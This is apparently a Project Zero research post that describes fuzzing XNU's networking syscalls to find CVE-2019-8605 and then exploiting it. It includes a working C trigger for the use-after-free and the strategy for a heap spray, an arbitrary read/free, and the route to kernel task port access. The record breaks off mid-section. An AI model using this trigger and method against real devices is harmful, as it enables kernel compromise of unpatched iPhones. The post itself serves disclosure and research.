\n\n\nenum Domain {\n\nAF_UNSPEC = 0;\n\nAF_UNIX = 1;\n\nAF_INET = 2;\n\n...\n\nAF_MAX = 40;\n\n}\n\n \n\n\nenum SoType {\n\nSOCK_STREAM = 1;\n\nSOCK_DGRAM = 2;\n\nSOCK_RAW = 3;\n\nSOCK_RDM = 4;\n\nSOCK_SEQPACKET = 5;\n\n}\n\n \n\n\nenum Protocol {\n\nIPPROTO_IP = 0;\n\nIPPROTO_ICMP = 1;\n\nIPPROTO_IGMP = 2;\n\nIPPROTO_GGP = 3;\n\n...\n\n} \n \n--- \n \n** \n**\n\nLibFuzzer and protobuf-mutator work together to generate and mutate protobuf messages using the format I defined. Then I consume these messages and call the real C implementation. The fuzzer might generate the following protobuf message as part of the sequence of messages representing syscalls:\n\n** \n**\n\nsocket {\n\ndomain: AF_INET6\n\nso_type: SOCK_STREAM\n\nprotocol: IPPROTO_IP\n\n} \n \n--- \n \n** \n**\n\nIn the loop over input syscall messages, I call the syscall appropriately based on the message type:\n\n** \n**\n\nstd::set<int> open_fds;\n\n \n\n\n// ...\n\ncase Command::kSocket: {\n\nint fd = 0;\n\nint err = socket_wrapper(command.socket().domain(),\n\ncommand.socket().so_type(),\n\ncommand.socket().protocol(), &fd);\n\nif (err == 0) {\n\nassert(open_fds.find(fd) != open_fds.end());\n\nopen_fds.insert(fd);\n\n}\n\nbreak;\n\n} \n \n--- \n \n** \n**\n\nHere, you can see some of the light manual work that is involved: I keep track of open file descriptors by hand, so I can be sure to close them at the end of one fuzzer iteration.\n\n** \n**\n\nThe fuzzer started out by simply encoding all the network-related syscalls into messages that had the correct types for each argument. To improve coverage, I refined the grammar and made changes to the code under test. Because there is so much code to cover, the most efficient way to find bugs is to identify suspicious-looking code manually by auditing. Given our fuzzing infrastructure, we can look at the coverage metrics to understand how well-tested some suspicious code is and tweak the fuzzer to uniformly exercise desired states. That may be at a higher level of abstraction than code coverage alone, but coverage will still help you identify if and how often a certain state is reached.\n\n** \n**\n\nNow let\u2019s see how refining the fuzz grammar led us from a low-quality crash to a clean and highly exploitable PoC. The testcase triggering the first crash for CVE-2019-8605 only affected raw sockets, and was therefore root only. Here\u2019s the reproducer I submitted to Apple:\n\n \n\n\n#define IPPROTO_IP 0\n\n \n\n\n#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }\n\n#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }\n\n \n\n\nint main() {\n\nint s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);\n\nstruct sockaddr_in6 sa1 = {\n\n.sin6_len = sizeof(struct sockaddr_in6),\n\n.sin6_family = AF_INET6,\n\n.sin6_port = 65000,\n\n.sin6_flowinfo = 3,\n\n.sin6_addr = IN6_ADDR_LOOPBACK,\n\n.sin6_scope_id = 0,\n\n};\n\nstruct sockaddr_in6 sa2 = {\n\n.sin6_len = sizeof(struct sockaddr_in6),\n\n.sin6_family = AF_INET6,\n\n.sin6_port = 65001,\n\n.sin6_flowinfo = 3,\n\n.sin6_addr = IN6_ADDR_ANY,\n\n.sin6_scope_id = 0,\n\n};\n\nconnect(s, (const sockaddr*)&sa1, sizeof(sa1));\n\nunsigned char buffer[4] = {};\n\nsetsockopt(s, 41, 50, buffer, sizeof(buffer));\n\nconnect(s, (const sockaddr*)&sa2, sizeof(sa2));\n\nclose(s);\n\n} \n \n--- \n \n** \n**\n\nAs this C reproducer was modelled directly after the protobuf testcase, you can see how my early grammar had lots of precision for sockaddr structures. But setsockopt was horribly underspecified: it just took 2 integers and a random buffer of data. Fortunately, that was enough for us to guess 41 (IPPROTO_IPV6) and 50 (IPV6_3542RTHDR), correctly setting an IPv6 output option.\n\n** \n**\n\nLooking at the ASAN report for the use after free, we see the following stack trace for the free:\n\n \n\n\n#0 0x497a3d in free _asan_rtl_:3\n\n#1 0x7f8bbe5f42cd in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3\n\n#2 0x7f8bbe6b06d0 in rip6_detach /src/bsd/netinet6/raw_ip6.c:829:2\n\n#3 0x7f8bbe6af680 in rip6_abort /src/bsd/netinet6/raw_ip6.c:837:9\n\n#4 0x7f8bbe6b0795 in rip6_disconnect /src/bsd/netinet6/raw_ip6.c:848:9\n\n#5 0x7f8bbe10132f in sodisconnectlocked /src/bsd/kern/uipc_socket.c:1792:10\n\n#6 0x7f8bbe1028dc in soconnectlock /src/bsd/kern/uipc_socket.c:1664:15\n\n#7 0x7f8bbe133e00 in connectit /src/bsd/kern/uipc_syscalls.c:954:10\n\n#8 0x7f8bbe133b25 in connect_nocancel /src/bsd/kern/uipc_syscalls.c:726:10\n\n#9 0x7f8bbe6f22b4 in connect_wrapper /src/fuzzing/syscall_stubs.c:125:7 \n \n--- \n \n** \n**\n\nLooking at the function that actually calls free, we see the following:\n\n \n\n\nvoid\n\nin6_pcbdetach(struct inpcb *inp)\n\n{\n\n// ...\n\nif (!(so->so_flags & SOF_PCBCLEARING)) {\n\nstruct ip_moptions *imo;\n\nstruct ip6_moptions *im6o;\n\n \n\n\ninp->inp_vflag = 0;\n\nif (inp->in6p_options != NULL) {\n\nm_freem(inp->in6p_options);\n\ninp->in6p_options = NULL; // <\\- good\n\n}\n\nip6_freepcbopts(inp->in6p_outputopts); // <\\- bad, dangling pointer\n\nROUTE_RELEASE(&inp->in6p_route);\n\n// free IPv4 related resources in case of mapped addr\n\nif (inp->inp_options != NULL) {\n\n(void) m_free(inp->inp_options);\n\ninp->inp_options = NULL; // <\\- good\n\n}\n\n// ... \n \n--- \n \n** \n**\n\nThe call to ip6_freepcbopts is the culprit here. In my fuzzer build this function was inlined into ipc6_pcbdetach, which explains the backtrace we saw in the bug report. As you can see, the developers intended for the socket options to be reused in some cases by NULLing out each pointer after it was freed. But because the in6p_outputopts are represented by a pointer to another struct, they are freed by the helper function in6_freepcbopts. That function does not know the address of inp, so it cannot clear &inp->in6p_outputopts, as we can see the code in this snippet neglects to do. This bug does look straightforward upon inspection, but the ROUTE_RELEASE on the following line, for example, is safe because it\u2019s modifying the in6p_route stored inline in the inp and correctly NULLing pointers. Older XNU revisions didn\u2019t NULL anything, and either they were all buggy or this code just wasn\u2019t originally designed to account for reuse of the socket.\n\n** \n**\n\nThe freed buffer was created by a call to setsockopt. This is a hint that we might be able to keep accessing the freed buffer with more calls to getsockopt and setsockopt, which would represent read and write primitives respectively. The initial testcase looked like a really specific edge case in raw sockets, so I figured it wasn\u2019t easily exploitable. Whenever I report a bug, I will create a local patch for it to avoid hitting it again in subsequent fuzzing. But because I wanted to find more variants of it, I just disabled raw sockets in my fuzzer with a one line enum change and left the bug intact.\n\n** \n**\n\nThis would prove to be the right idea. I quickly found a new variant that let you read the use-after-free data using getsockopt via a TCP socket, so it worked inside the iOS app sandbox. Awesome! After some quick trial and error I saw that setsockopt wouldn\u2019t work for sockets that have been disconnected. But letting the fuzzer continue to search for a workaround for me was free, so again I worked around the unexploitable testcase and left the bug intact by adding a workaround specifically for the getsockopt case:\n\n \n\n\n// HACK([nedwill](<https://who.corp.google.com/nedwill>)): this prevents us from seeing the trivial read UaF case\n\nif (in6p->inp_state == INPCB_STATE_DEAD) {\n\nerror = 0;\n\nbreak;\n\n}\n\n// Normal handler\n\nerror = ip6_getpcbopt(in6p->in6p_outputopts, optname, sopt); \n \n--- \n \n** \n**\n\nBy this point I realized that setsockopt was an important source of complexity and bugs. I updated the grammar to better model the syscall by confining the name argument for setsockopt to be only valid values selected from an enum. You can see the change below, where SocketOptName enum now specifies a variety of real option names from the SO, TCP, IPV6, and other levels.\n\n \n\n\nmessage SetSocketOpt {\n\noptional Protocol level = 1;\n\n- optional int32 name = 2;\n\n+ optional SocketOptName name = 2;\n\n// TODO([nedwill](<https://who.corp.google.com/nedwill>)): structure for val\n\noptional bytes val = 3;\n\noptional FileDescriptor fd = 4;\n\n}\n\n \n\n\nenum SocketOptName {\n\n+ option allow_alias = true;\n\n+\n\n+ /* socket.h */\n\n+ SO_DEBUG = 0x0001; /* turn on debugging info recording */\n\n+ SO_ACCEPTCONN = 0x0002; /* socket has had listen() */\n\n+ SO_REUSEADDR = 0x0004; /* allow local address reuse */\n\n+ SO_KEEPALIVE = 0x0008; /* keep connections alive */\n\n+ SO_DONTROUTE = 0x0010; /* just use interface addresses */\n\n+ SO_BROADCAST = 0x0020; /* permit sending of broadcast msgs */\n\n... \n \n--- \n \n** \n**\n\nThese changes were the critical ones that led to the highly exploitable testcase. By allowing the fuzzer to explore the setsockopt space much more efficiently, it wasn\u2019t long before it synthesized a testcase that wrote to the freed buffer. When I looked at the crashing input, was stunned to see this in the decoded protobuf data:\n\n \n\n\nset_sock_opt {\n\nlevel: SOL_SOCKET\n\nname: SO_NP_EXTENSIONS\n\nval: \"\\267\\000\\000\\000\\001\\000\\000\\000\"\n\nfd: FD_0\n\n} \n \n--- \n \n** \n**\n\nWhat is that SO_NP_EXTENSIONS option? And why did inserting this syscall into the testcase turn it from a memory disclosure into an exploitable memory corruption? Quickly skimming through the SO_NP_EXTENSIONS handling in XNU I realized that we were hitting this:\n\n \n\n\n#define SONPX_SETOPTSHUT 0x000000001 /* flag for allowing setsockopt after shutdown */ \n \n--- \n \n** \n**\n\nI think every vulnerability researcher can relate to the moment when they realize they have a great bug. This was that moment for me; that comment described the exact scenario I needed to turn my use-after-free-read into a use-after-free-write. Transcribing the full testcase to C yields the following:\n\n \n\n\nint s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n\n \n\n\n// Permit setsockopt after disconnecting (and freeing socket options)\n\nstruct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};\n\nsetsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));\n\n \n\n\n// Initialize ip6_outputopts\n\nint minmtu = -1;\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));\n\n \n\n\n// Free ip6_outputopts\n\ndisconnectx(s, 0, 0);\n\n \n\n\n// Write to ip6_outputopts\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu)); \n \n--- \n \n** \n**\n\nIn effect, the fuzzer managed to guess the following syscall:\n\n \n\n\nstruct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};\n\nsetsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx)); \n \n--- \n \n \nI was surprised to see this because I completely expected the use after free to be triggered in another way. What\u2019s really cool about combining grammar based fuzzing with coverage feedback is that specifying the enums that represent the level and name options along with a raw buffer for the \u201cval\u201d field was enough to find this option and set it correctly. This meant the fuzzer guessed the length (8) of val and the data representing SONPX_SETOPTSHUT (low bit set for each little-endian dword). We can infer that the fuzzer tried the SO_NP_EXTENSIONS option many times before discovering that a length of 8 was notable in terms of additional coverage. Then this set_sock_opt message was propagated throughout the corpus as it was mixed with other relevant testcases, including the one that triggered my original bug. Then ensuring two bits in val were set was just a 1 in 4 guess. The same setsockopt call that setup the buggy state was called again to trigger the use after free, which was another shallow mutation made by the protobuf-mutator, just cloning one member of the syscall sequence. Writing effective fuzzers involves a lot of thinking about probability, and you can see how by giving the fuzzer manually-defined structure in just the right places, it managed to explore at an abstraction level that found a great PoC for this bug.\n\n** \n**\n\nI hope you enjoyed this insight into the bug hunting process. For more background about getting started with this fuzzing approach, take a look at [syzkaller](<https://lwn.net/Articles/677764/>) and this [tutorial](<https://github.com/google/fuzzer-test-suite/blob/master/tutorial/structure-aware-fuzzing.md>).\n\n# Exploitation\n\n## How use after free works\n\nThe exploit I\u2019m about to describe uses a single use after free bug to get a safe and reliable arbitrary read, defeat ASLR, do an arbitrary free, and ultimately allow us to build an arbitrary read/write mechanism. That\u2019s a lot of responsibility for one bug, so it\u2019s worth giving a little background into how use-after-frees work for readers who have never exploited one before. I vividly remember when I read a [post by Chris Evans](<https://googleprojectzero.blogspot.com/2015/06/what-is-good-memory-corruption.html>) right here on this blog, called \u201cWhat is a \u2018good\u2019 memory corruption vulnerability?\u201d When I downloaded and ran Chris\u2019s canonical use after free demonstration, and the \u201cexploit\u201d worked the first try on my laptop, I was instantly struck by the simplicity of it. Since then, I\u2019ve written several real world use after free exploits, and they all stem from the same insight: it\u2019s much easier than you would think to reclaim a freed buffer with controlled data. As long as a buffer is not allocated from a specialized pool (PartitionAlloc, a slab heap, etc.), objects of approximately the same size, i.e., in the same size class, will be mixed between different callers of malloc and free. If you can cause arbitrary allocations that are the same size from your freed object\u2019s size class you can be pretty sure that you will reclaim the freed data quickly. This is by design: if memory allocators did not behave this way, applications would lose performance by not reusing cache lines from recently freed allocations. And if you can tell whether or not you succeeded in reclaiming your freed buffer, exploitation is almost deterministic. So then, what makes a good UaF bug? If you can control when you free, when you use the freed allocation, and can safely check whether you\u2019ve reclaimed it (or can massage the heap to make reclaiming deterministic), exploitation will be straightforward. This is at least how a CTF teammate explained it to me, and it still holds today against real targets. The bug we are looking at in this post is one of those bugs, and for that reason, it\u2019s about as \u201cnice\u201d as memory corruption gets.\n\n## Bootstrapping better primitives\n\nGenerally the end goal of binary exploitation is to get arbitrary code execution, sometimes referred to as \u201cshellcode\u201d when that arbitrary code spawns a shell for you on the target system. For iOS, the situation is slightly more complicated with the addition of PAC, which introduces a security boundary between kernel memory R/W and kernel code execution. This means our bug will serve as an entrypoint to get kernel memory R/W using a data-based attack, with code execution left to another layer of exploitation.\n\n** \n**\n\nTo start the exploit, I thought it would be interesting to see what primitives I could build without knowing Mach specifics. Mach and BSD are the Yin and Yang of XNU, representing a dual view of many fundamental kernel objects. For example, a process is represented twice in the kernel: once as a Mach task and once as a BSD proc. My bug occurs in the BSD half, and most exploits end up getting control of a highly privileged Mach port. This means we\u2019ll need to figure out how to manipulate Mach data structures starting from our corruption on the BSD side. At this point I was still only familiar with the BSD part of the kernel, so I started my research there.\n\n** \n**\n\nHere\u2019s the inpcb containing the dangling inp6_outputopts pointer:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj951UbWmv47ile00Xjfkd5UUiRp_iNiUzxJH36qkC3ieu8Cq6jE_E_en6SyR8uQBjQDPrOLwgkQb4g-rFmDTC9Cbi_Eq8Y_ejv5y8SALZ0PLn-Sb2g088ozGnyEbo8b6RAbRUhSf7ibQBsD55O-88O4m7kAn7Npbs4mSsWwjpNzGEADPaNt9fcEDm_/s1135/1-1.png>)\n\nLooking at the getters and setters for these options via [get/set]sockopt, we quickly see that fetching the integers for the minmtu and the prefer_tempaddr fields is straightforward and will let us read data directly out of the freed buffer. We can also freely read 20 bytes from the in6po_pktinfo pointer if we manage to reclaim it. Take a look at this snippet from the ip6_getpcbopt implementation yourself:\n\n** \n**\n\ncase IPV6_PKTINFO:\n\nif (pktopt && pktopt->ip6po_pktinfo)\n\noptdata = (void *)pktopt->ip6po_pktinfo;\n\nelse {\n\n/* XXX: we don't have to do this every time... */\n\nbzero(&null_pktinfo, sizeof (null_pktinfo));\n\noptdata = (void *)&null_pktinfo;\n\n}\n\noptdatalen = sizeof (struct in6_pktinfo); // 20 bytes\n\nbreak;\n\n \n\n\ncase IPV6_USE_MIN_MTU:\n\nif (pktopt)\n\noptdata = (void *)&pktopt->ip6po_minmtu;\n\nelse\n\noptdata = (void *)&defminmtu;\n\noptdatalen = sizeof (int);\n\nbreak;\n\n \n\n\ncase IPV6_PREFER_TEMPADDR:\n\nif (pktopt)\n\noptdata = (void *)&pktopt->ip6po_prefer_tempaddr;\n\nelse\n\noptdata = (void *)&defpreftemp;\n\noptdatalen = sizeof (int);\n\nbreak; \n \n--- \n \n** \n**\n\nip6po_minmtu and ip6po_prefer_tempaddr are adjacent to each other and qword-aligned so if we manage to reclaim this freed struct with some other object containing a pointer we will be able to read out the pointer and defeat ASLR. We can also take advantage of these fields by using them as an oracle for heap spray success. We spray objects containing an arbitrary pointer value we choose at a location that overlaps the in6po_pktinfo field and a magic value in the mintmu field. This way we can repeatedly read out the minmtu field, so if we see our magic value we know it is safe to dereference the pointer in in6po_pktinfo. It is generally safe to read the inp6_outputopts because we know it is already mapped, but not in6po_pktinfo as it could have been reclaimed by some other garbage that points to unmapped or unreadable memory. Before we talk about which object we spray to leak a pointer and how to spray arbitrary data, let\u2019s quickly figure out what primitive we can build from the setsockopt corruption.\n\n** \n**\n\nUnfortunately, the setsockopt path, unlike the getsockopt path, is not as easy to use as it first appears. Most of the relevant options are root only or are highly constrained. This still leaves IPV6_2292PKTINFO/IPV6_PKTINFO as the best option, but in testing and reading the code it appeared impossible to write anything but highly constrained values there. The ipi6_addr field, which looks perfect for writing arbitrary data, must be set to 0 to pass a check that it is unspecified. And the interface index has to be valid, which constrains us to low values. If the interface is 0, it frees the options. This means we can only write 16 null bytes plus a small non-zero 4 byte integer anywhere in memory. That\u2019s certainly enough for exploitation, but what about the free case? As long as you pass in a pktinfo struct containing 20 null bytes, ip6_setpktopt will call ip6_clearpktopts for you, which finally calls FREE(pktopt->ip6po_pktinfo, M_IP6OPT). Remember, in6po_pktinfo is our controlled pointer, so this means we have an arbitrary free. Even better, it\u2019s a bare free, meaning we can free any object without knowing its zone. That\u2019s because FREE is a wrapper for kfree_addr, which looks up the zone on your behalf. To keep late stage exploitation generic, I opted for the arbitrary free primitive over the constrained write primitive.\n\n### Implementing and testing the heap spray\n\nNow that we have an attack plan, it\u2019s just a matter of figuring out a way to spray the heap with controlled data. Fortunately for us, there is already a well-known way to do this via IOSurface, and even better, Brandon Azad (@_bazad) already had some code to do it! After some debugging and integration into my exploit, I had a working \u201cstage 1\u201d abstraction that could read and free an arbitrary address, by reclaiming and checking the minmtu magic value as described above. This IOSurface technique was used as early as 2016 as part of an [in-the-wild exploit chain](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html>) for 10.0.1-10.1.1.\n\n** \n**\n\nWhen testing on different iOS devices and versions, I found that spray behavior was different. What was fast and reliable on one device was unreliable on another. Fortunately, improvements for one device generally benefited all platforms and versions, so I didn\u2019t need to worry about maintaining multiple spray patterns per-platform. Some of the parameters involved here are the number of objects to spray per attempt, how many times to retry, and the order in which to make allocations of both the sprayed and (use-after-)freed socket options. Understanding heap allocator internals across versions and devices would be ideal, but I found experimentation was sufficient for my purposes. This is a CTF insight; I used to solve Linux heap problems by reading glibc and carefully planning out an exploit on paper. A couple years later, the popular approach had shifted (at least for me) to using tools to inspect the state of the heap, and iterating quickly to check how high level modifications to the exploit would change the heap layout. Of course, I didn\u2019t have such tooling on iOS. But by checking the minmtu value, I did have a safe oracle to test spray performance and reliability, so it was quick to iterate by hand. When iOS 12.4 regressed and reintroduced this vulnerability, I tested the exploit against an iPhone XR and found that the spray failed often. But after changing the order in which I did sprays (creating a new dangling pointer after each spray attempt, instead of all at once in the beginning), success became quick and reliable again. I have no doubt that keeping a good understanding of the internals is superior, but treating this like an experimental black box is pretty fun.\n\n** \n**\n\nWhat makes the SockPuppet exploit fast? Other exploits often rely on garbage collection in order to get their freed object reallocated across a zone. Because all of the objects I used were in the same generic size-based zone, I needed fewer allocations to succeed, and I didn\u2019t have to trigger and wait for garbage collection.\n\n## Learning about tfp0\n\nAt this point, I have stretched the initial bug to its limits, and that has given me an arbitrary read and an arbitrary free. With this we can now create a new use after free where there was never a bug in the original code. I took a look around for any cute shallow tricks that others might have overlooked in the BSD part of the kernel tree before accepting that the Mach exploitation path offers some nice facilities for kernel exploitation, and so it was time to learn it.\n\n** \n**\n\nIf you follow iOS kernel exploitation even casually, you\u2019ve probably heard of \u201ctfp0.\u201d So what is it exactly? It\u2019s a short name for task_for_pid, which returns to you a Mach port with a send right to the task with the given pid. When you call it with pid 0, this gives you the kernel task port. A port is one of the fundamental primitives of Mach. It\u2019s like a file descriptor that is used to represent message queues. Every such message queue in the kernel has one receiver, and potentially multiple senders. Given a port name, such as the one returned by task_for_pid, you can send or receive a Mach message to that queue, depending on what rights you have to access it. The kernel_task is like any other task in Mach in that it exposes a task port.\n\n** \n**\n\nWhat\u2019s so great about getting access to the kernel task port? Just take a look at osfmk/mach/mach_vm.defs in the XNU sources. It has calls like mach_vm_allocate, mach_vm_deallocate, mach_vm_protect, and mach_vm_read_overwrite. If we have a send right to a task port, we can read, write, and allocate memory in that process. XNU supports this abstraction for the kernel_task, which means you can use this clean API to manipulate memory in the kernel\u2019s address space. I couldn\u2019t help but feel that every iPhone has this \u201ccheat\u201d menu inside of it, and you have to pass a serious test of your skills to unlock it. You can see why this is so appealing for exploitation, and why I was so excited to try to get ahold of it! Of course, we can\u2019t just call task_for_pid(0) from our unprivileged sandboxed app. But if we can implement this function call in terms of our memory corruption primitives, we\u2019ll be able to pretend we did!\n\n** \n**\n\nTo understand what we need to do to simulate a legitimate tfp0 call, let\u2019s look at how a message we send from our task to another task (perhaps kernel_task) actually looks, starting from the port name (file descriptor equivalent) in userland all the way to message delivery.\n\n** \n**\n\nLet\u2019s start by taking a look at the struct representing a message header:\n\n** \n**\n\ntypedef struct {\n\nmach_msg_bits_t msgh_bits; // \"disposition\", e.g. MACH_MSG_TYPE_COPY_SEND\n\nmach_msg_size_t msgh_size;\n\nmach_port_t msgh_remote_port; // destination port name\n\nmach_port_t msgh_local_port;\n\nmach_port_name_t msgh_voucher_port;\n\nmach_msg_id_t msgh_id;\n\n} mach_msg_header_t; \n \n--- \n \n** \n**\n\nI\u2019ve labeled the important fields above. msgh_remote_port contains the destination port name, which will be the kernel task port name if we have access to it. The msgh_bits specify a number of flags, one of them being the \u201cdisposition\u201d of the message we\u2019re sending for the different port names. If we have the send right to the kernel task port, for example, we\u2019ll set msgh_bits to tell the kernel to copy the send right we have in our IPC space to the message. If this sounds tricky, don\u2019t worry. The main thing to keep in mind is that we name the destination of the message in the header, and we also mark how we want to use the capability we have for it stored in our IPC namespace (mach file descriptor table).\n\n** \n**\n\nWhen we want to send a message from userland, we do a mach trap, the mach equivalent of a syscall, called mach_msg_overwrite_trap. Let\u2019s look at the MACH_SEND_MSG case and follow along, so we find out what we\u2019ll need to arrange in kernel memory for tfp0:\n\n** \n**\n\nmach_msg_return_t mach_msg_overwrite_trap(\n\nstruct mach_msg_overwrite_trap_args* args) {\n\n// ...\n\nmach_msg_return_t mr = MACH_MSG_SUCCESS;\n\nvm_map_t map = current_map();\n\n \n\n\nif (option & MACH_SEND_MSG) {\n\nipc_space_t space = current_space();\n\nipc_kmsg_t kmsg;\n\n \n\n\nmr = ipc_kmsg_get(msg_addr, send_size, &kmsg);\n\n// ...\n\nmr = ipc_kmsg_copyin(kmsg, space, map, override, &option);\n\n// ...\n\nmr = ipc_kmsg_send(kmsg, option, msg_timeout);\n\n// ... \n \n--- \n \n** \n**\n\nIf we want to deliver a message to the kernel task port, we just need to understand how ipc_kmsg_get, ipc_kmsg_copyin, and ipc_kmsg_send work. ipc_kmsg_get simply copies the message from the calling task\u2019s address space into kernel memory. ipc_kmsg_copyin actually does interesting work. Let\u2019s see how it ingests the message header through a call to ipc_kmsg_copyin_header.\n\n** \n**\n\nmach_msg_return_t ipc_kmsg_copyin_header(ipc_kmsg_t kmsg, ipc_space_t space,\n\nmach_msg_priority_t override,\n\nmach_msg_option_t *optionp) {\n\nmach_msg_header_t *msg = kmsg->ikm_header;\n\nmach_msg_bits_t mbits = msg->msgh_bits & MACH_MSGH_BITS_USER;\n\nmach_port_name_t dest_name = CAST_MACH_PORT_TO_NAME(msg->msgh_remote_port);\n\nmach_port_name_t reply_name = CAST_MACH_PORT_TO_NAME(msg->msgh_local_port);\n\n \n\n\nmach_msg_type_name_t dest_type = MACH_MSGH_BITS_REMOTE(mbits);\n\nipc_object_t dest_port = IO_NULL;\n\nipc_port_t dest_soright = IP_NULL;\n\nipc_entry_t dest_entry = IE_NULL;\n\n \n\n\nif (dest_name != reply_name) {\n\n// nedwill: this converts name to ipc_entry_t\n\ndest_entry = ipc_entry_lookup(space, dest_name);\n\nif (dest_entry == IE_NULL) {\n\ngoto invalid_dest;\n\n}\n\n \n\n\n// nedwill: this converts ipc_entry_t to ipc_port_t (and checks capability)\n\nkr = ipc_right_copyin(space, dest_name, dest_entry, dest_type, FALSE,\n\n&dest_port, &dest_soright, &release_port, &assertcnt);\n\nif (kr != KERN_SUCCESS) {\n\ngoto invalid_dest;\n\n}\n\n \n\n\n// ...\n\n}\n\n \n\n\n// ...\n\nmsg->msgh_bits =\n\nMACH_MSGH_BITS_SET(dest_type, reply_type, voucher_type, mbits);\n\nmsg->msgh_remote_port = (ipc_port_t)dest_port;\n\n \n\n\n// ...\n\n} \n \n--- \n \n** \n**\n\nipc_kmsg_copyin_header serves to convert the remote port name into the port object, updating the msg->msgh_remote_port to point to the actual object instead of storing the task-specific name. This is the BSD/Linux equivalent of converting a file descriptor into the actual kernel structure that it refers to. The message header has several name fields, but I\u2019ve simplified the code to highlight the destination case, since we\u2019ll want the kernel_task port to be our destination port. The ipc_space_t space argument represents the IPC space for the current running task, which is the Mach equivalent of the file descriptor table. First, we lookup the dest_name in the IPC space to get the ipc_entry_t representing it. Every ipc_entry_t has a field called ie_bits which contains the permissions our task has to interact with the port in question. Here\u2019s what the IPC entry struct looks like:\n\n** \n**\n\nstruct ipc_entry {\n\nstruct ipc_object *ie_object; // pointer to the ipc_port_t\n\nipc_entry_bits_t ie_bits; // our rights (receive/send/send-once/etc.)\n\nmach_port_index_t ie_index;\n\n...\n\n}; \n \n--- \n \n** \n**\n\nRemember that the header of the message we sent has a \u201cdisposition\u201d for the destination which describes what we want our message to do with the capability we have for the remote port name. Here\u2019s where that actually gets validated and consumed:\n\n** \n**\n\nkern_return_t ipc_right_copyin(ipc_space_t space, mach_port_name_t name,\n\nipc_entry_t entry,\n\nmach_msg_type_name_t msgt_name, boolean_t deadok,\n\nipc_object_t *objectp, ipc_port_t *sorightp,\n\nipc_port_t *releasep, int *assertcntp) {\n\nipc_entry_bits_t bits;\n\nipc_port_t port;\n\n \n\n\n*releasep = IP_NULL;\n\n*assertcntp = 0;\n\n \n\n\nbits = entry->ie_bits;\n\n \n\n\nswitch (msgt_name) {\n\ncase MACH_MSG_TYPE_COPY_SEND: {\n\nif (bits & MACH_PORT_TYPE_DEAD_NAME) goto copy_dead;\n\n \n\n\n/* allow for dead send-once rights */\n\nif ((bits & MACH_PORT_TYPE_SEND_RIGHTS) == 0) goto invalid_right;\n\n \n\n\nport = (ipc_port_t)entry->ie_object;\n\n \n\n\nif ((bits & MACH_PORT_TYPE_SEND) == 0) {\n\nassert(IE_BITS_TYPE(bits) == MACH_PORT_TYPE_SEND_ONCE);\n\nassert(port->ip_sorights > 0);\n\n \n\n\nip_unlock(port);\n\ngoto invalid_right;\n\n}\n\n \n\n\nport->ip_srights++;\n\nip_reference(port);\n\nip_unlock(port);\n\n \n\n\n*objectp = (ipc_object_t)port;\n\n*sorightp = IP_NULL;\n\nbreak;\n\n}\n\n \n\n\ndefault:\n\ninvalid_right:\n\nreturn KERN_INVALID_RIGHT;\n\n}\n\n \n\n\nreturn KERN_SUCCESS;\n\n} \n \n--- \n \n** \n**\n\nHere, I\u2019ve reproduced the code for the MACH_MSG_TYPE_COPY_SEND case. You can see where ie_bits from the IPC entry is used to check the permission we have. If we want to take advantage of the send right in this message, we can copy the right to the message, and this code checks that we have the right in ie_bits before updating the relevant reference counts and finally giving us access to the port object to which we can enqueue messages. If we don\u2019t have the proper permissions according to entry->ie_bits, the attempt to send the message will fail.\n\n** \n**\n\nNow that our message is copied in, validated, and updated to contain real kernel object pointers, ipc_kmsg_send goes ahead and just adds our message to the destination queue:\n\n** \n**\n\nmach_msg_return_t ipc_kmsg_send(ipc_kmsg_t kmsg, mach_msg_option_t option,\n\nmach_msg_timeout_t send_timeout) {\n\nipc_port_t port;\n\nthread_t th = current_thread();\n\nmach_msg_return_t error = MACH_MSG_SUCCESS;\n\nboolean_t kernel_reply = FALSE;\n\n \n\n\nport = (ipc_port_t)kmsg->ikm_header->msgh_remote_port;\n\nassert(IP_VALID(port));\n\nip_lock(port);\n\n \n\n\nif (port->ip_receiver == ipc_space_kernel) {\n\nport->ip_messages.imq_seqno++;\n\nip_unlock(port);\n\n \n\n\nkmsg = ipc_kobject_server(kmsg, option);\n\nif (kmsg == IKM_NULL) return MACH_MSG_SUCCESS;\n\n \n\n\n/* restart the KMSG_INFO tracing for the reply message */\n\nport = (ipc_port_t)kmsg->ikm_header->msgh_remote_port;\n\nassert(IP_VALID(port));\n\nip_lock(port);\n\n/* fall thru with reply - same options */\n\nkernel_reply = TRUE;\n\nif (!ip_active(port)) error = MACH_SEND_INVALID_DEST;\n\n}\n\n \n\n\nif (error != MACH_MSG_SUCCESS) {\n\nip_unlock(port);\n\n} else {\n\n// ...\n\nerror = ipc_mqueue_send(&port->ip_messages, kmsg, option, send_timeout);\n\n}\n\n// ...\n\nreturn error;\n\n} \n \n--- \n \n** \n**\n\nAs you can see above, if the destination port\u2019s ip_receiver is the kernel IPC space, ipc_kobject_server is called as a special case to handle the kernel message. The kernel task port has the kernel IPC space as its ip_receiver, so we\u2019ll make sure to replicate that when we are arranging for tfp0.\n\n** \n**\n\nWhew, that was a lot! Now that we see the essentials behind message sending, we are ready to envision our goal state, i.e., how we want kernel memory to look as if we had called tfp0 successfully. We\u2019ll want to add an IPC entry to our IPC space, with ie_object pointing to the kernel task port, and ie_bits indicating that we have a send right. Here\u2019s how this 